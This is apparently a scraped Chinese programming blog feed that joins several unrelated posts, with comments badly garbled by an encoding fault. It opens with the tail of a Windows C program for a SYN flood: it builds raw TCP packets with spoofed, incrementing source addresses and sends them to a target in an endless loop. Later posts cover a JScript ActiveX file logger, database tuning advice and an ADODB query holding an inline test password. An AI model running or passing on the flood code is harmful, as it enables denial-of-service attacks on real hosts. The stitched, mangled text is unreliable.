USHORT th_win; //16位窗口大?br />
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏U量
}TCP_HEADER;
//CheckSum:计算校验和的子函?br />
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
// SynFloodd?br />
int main()
{
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
int TimeOut=2000,SendSEQ=0;
char SendBuf[128]={0};
char RecvBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
if (SockRaw==INVALID_SOCKET){
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//讄IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
If (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n");
__try{
//讄发送超?br />
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//高四位IP版本P低四位首部长?br />
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节Q?br />
ip_header.ident=1; //16位标?br />
ip_header.frag_and_flags=0; //3位标志位
ip_header.ttl=128; //8位生存时间TTL
ip_header.proto=IPPROTO_TCP;& nbsp; //8 位协?TCP,UDP…)
ip_header.checksum=0;& nbsp; //16 位IP首部校验?br />
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);& nbsp; //32 位源IP地址
ip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP地址
//填充TCP首部
tcp_header.th_sport=htons(7000);& nbsp; // 源端口号
tcp_header.th_dport=htons(8080);& nbsp; // 目的端口?br />
tcp_header.th_seq=htonl(SEQ+SendSEQ);& nbsp; //SYN 序列?br />
tcp_header.th_ack=0; //ACK序列L?
tcp_header.th_lenres= (sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位
tcp_header.th_flag=2; //SYN 标志
tcp_header.th_win=htons(16384); //H口大小
tcp_header.th_urp=0; //偏移
tcp_header.th_sum=0; //校验?br />
//填充TCP伪首部(用于计算校验和,q不真正发送)
psd_header.saddr=ip_header.sourceIP;& nbsp; // 源地址
psd_header.daddr=ip_header.destIP;& nbsp; // 目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;& nbsp; // 协议cd
psd_header.tcpl=htons(sizeof(tcp_header));& nbsp; //TCP 首部长度
while(1) {
//每发?0,240个报文输Z个标C符
printf(".");
for(counter=0;counter<10240;counter++){
if(SendSEQ++==65536) SendSEQ=1; & nbsp; // 序列号@?br />
//更改IP首部
ip_header.checksum=0;& nbsp; //16 位IP首部校验?br />
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);& nbsp; //32 位源IP地址
//更改TCP首部
tcp_header.th_seq=htonl(SEQ+SendSEQ);& nbsp; //SYN 序列?br />
tcp_header.th_sum=0; //校验?br />
//更改TCP Pseudo Header
psd_header.saddr=ip_header.sourceIP;
// 计算TCP校验和,计算校验和时需要包括TCP pseudo header
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
//计算IP校验?br />
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header,sizeof(ip_header));
//发送TCP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
}//End of for
}//End of While
}//End of try
__finally {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}
]]>
2
3 initialize : function(){
4
5 try{
6
7 this._fso = ""; //File 操作对象
8
9 this._folderspec = ""; // c?nbsp;fileclass 处理路径
10
11 this._fso = new ActiveXObject("Scripting.FileSystemObject"); // 建立 ActiveXObject 对象
12
13 this._objDate = new Date();
14
15 this._DateString = this._objDate.format("yyMMdd");
16
17 this._DateString = "c:\\" + this._DateString + ".log" ;
18
19 this._folderspec = this._DateString;
20
21
22 }catch(e){
23
24 alert("file Class initialize Error : "+ e.number +" "+ e.description);
25
26 }
27
28 },
29 TRACE : function(Content){
30
31 try{
32
33 this.OpenTextFile(8,true);
34
35 _objDate = new Date();
36
37 _dateString = _objDate.format("yyyy-MM-dd hh:mm:ss");
38
39 this._otf.WriteLine(_dateString+"||"+Content);
40
41 this._otf.close();
42
43 }catch(e){
44
45 this._otf.Close();
46
47 alert("file Class TRACE Error : "+ e.number +" "+ e.description);
48
49 }
50
51 },
52 OpenTextFile : function(IOmode,format){
53
54 try{
55
56 this._otf = this._fso.OpenTextFile(this._folderspec,IOmode,true,format);
57
58 }catch(e){
59
60 this._otf.Close();
61
62 alert("file Class OpenTextFile Error : "+ e.number +" "+ e.description);
63
64 }
65
66 }
67
68 };
]]>
但由于系l的需求是不断变化Q得在数据库设计变得十分重要而且困难?br />
在需求变化非常快情况下,有一部分Z认ؓ要寻找一U设计方法以固定不变的表l构来适用不断变化需
求。这个观Ҏ十分不明智和以现时的技术上暂时不能实现。对于Y件功能程序在需求不断变法时候,?br />
了适应新的需求,不断重构pȝ的代码。以相同的道理,数据库设计也是程序设计的一部分。那么,数据
库一样可以用重构来实现适用不断变化的Y件系l?br />
本h认ؓ数据库设计将会分Z个阶D进行:
W一阶段Q数据库功能上的设计Q由于在软gpȝ的数据库建立初期Q数据库也只是以实现pȝ同能为目
标,对于pȝ性能优化不会是数据库设计的重点?br />
·建立软gpȝ的比较通用功能基础表。在基础功能建立后,pȝ使用者会对系l部分功能作价和?br />
改要求。而功能基表设计ؓ减少日后修改和维护量Q会量设计通用和冗杂结构?br />
·攉软gpȝ的一些基本信息。对于Y件系l设计者来_对Y件系l的中每个表数据量,E序上SQL?br />
使用Q系l的J忙时段以及周期{都会有比较初步评估。但对于数据库设计者来_q些估计都是只一?br />
推断q没有实际数据支持。ؓW二阶段数据库修改和l护Q对软gpȝ作一些基本数据收集是必要的?br />
W二阶段为数据库pȝ能上优化Q主要是通过W一阶段攉pȝ数据库一些信息来对系l做修改和优?br />
数据库具体优化方案需要以攉信息为基来之际来q行指定?br />
下面本hȝ下,数据库中一般有哪些斚w需要进行优化?br />
1优化pȝ的SQLQ具体有下面几点可以q行Q?br />
·对用频J的SQL以创建具体功能存储过E来代替Q可以减数据库pȝ对SQL~译和解?br />
·涉及到数据量大的表,量建立基本视图来完成数据查询工?br />
·在程序中量使用扚w提交
(注:此方法在多数据更新和插入软gpȝ?Q可以比较显著提高性能?br />
在提高系l性能的同Ӟ对程序的多线E控制技术上增加不少隑ֺ?br />
若线E控制出现问题,会对数据库带来灾难性破?
·E序在用SQL的时候,量使用消耗数据库资源的运行方?br />
2 数据库表l构?br />
·在数据量大表中,量减少非必要字D늃引徏立?br />
Q注Q?索引建立多了查询速度是可以很有效的提高,但随之而来的是插入数据消耗的数据库资源也提高了很多)
·大表需要进行分区存?br />
Q注Q现在主数据库都已l开始支持分区存储数据)
·在不影响pȝ的业务逻辑上,清理数据表中被废弃用的字段
(注:在清理废弃的字段需要关注的定q些字段是否真的已经被废弃,E序真的不再启用)
3 修改有问题的SQL
·在实现功能时候,׃旉或者其他原因整个系l中肯定会有部分性能不优的SQL存在。第一阶段攉的数据,现在可以有效的q行使用。通过q些数据我们可以很有效地把这些不优的SQL[甚至是很烂]扑և来,一条一条进行调?br />
·在调整SQL外,q需要对数据库内存或者共享空间等{进行调_使得数据库永q是处于最优的状态?br />
以上是本Z些小心得,如果不对的地Ҏq指教?br />
MK-TIANYI
]]>
AXML.prototype = {
initialize : function(path){
this.xmlDom = new ActiveXObject("Msxml2.DOMDocument");
this.xmlDom.load(path);
//this.xmlDom = xmlObject;
alert(this.xmlDom); // 可以输出正确的变?nbsp;Object
this.path = path;
},
getHomePage : function(){
alert(this.xmlDom); //变量变成了没定义
alert(this.path); // 可以输出正确的变?/span>
}
};
是否在类中不能?Object cd传递呢Q?br />
因ؓl过试Q?span style="color: rgb(0, 0, 255);">this.path 是一个普通变量是可以正常使用的?/span>
]]>
现在我以在Windowsq_上做下面的例子?br />
1 利用Windows 的AtiveXObject,使用ODBCq接Oracle 数据库。ƈ且取回特定的数据资料?br />
function Connect(){
var conn = new ActiveXObject("ADODB.Connection");
conn.open("DSN=ora9i;UID=test;PWD=123456");
var rs = new ActiveXObject("ADODB.Recordset");
var sql = "select * from tb_client where name = 'aaa'";
rs.open(sql,conn,1,1);
var showpage = "<textarea>"+rs(0)+"||"+rs(1)+"||"+rs(2)+"</textarea>";
//alert(rs(0)+"||"+rs(1)+"||"+rs(2));
//alert(rs(0)+"||"+rs(1)+"||"+rs(2));
var page = document.getElementById("showpage")
page.innerHTML = showpage;
rs.close();
}
记得要用CloseҎ啊。不然你的机器就惨了?
]]>
来我们显CZ个基本的文本功能Q就是对文本文gq行写操作?br />
看以下代码: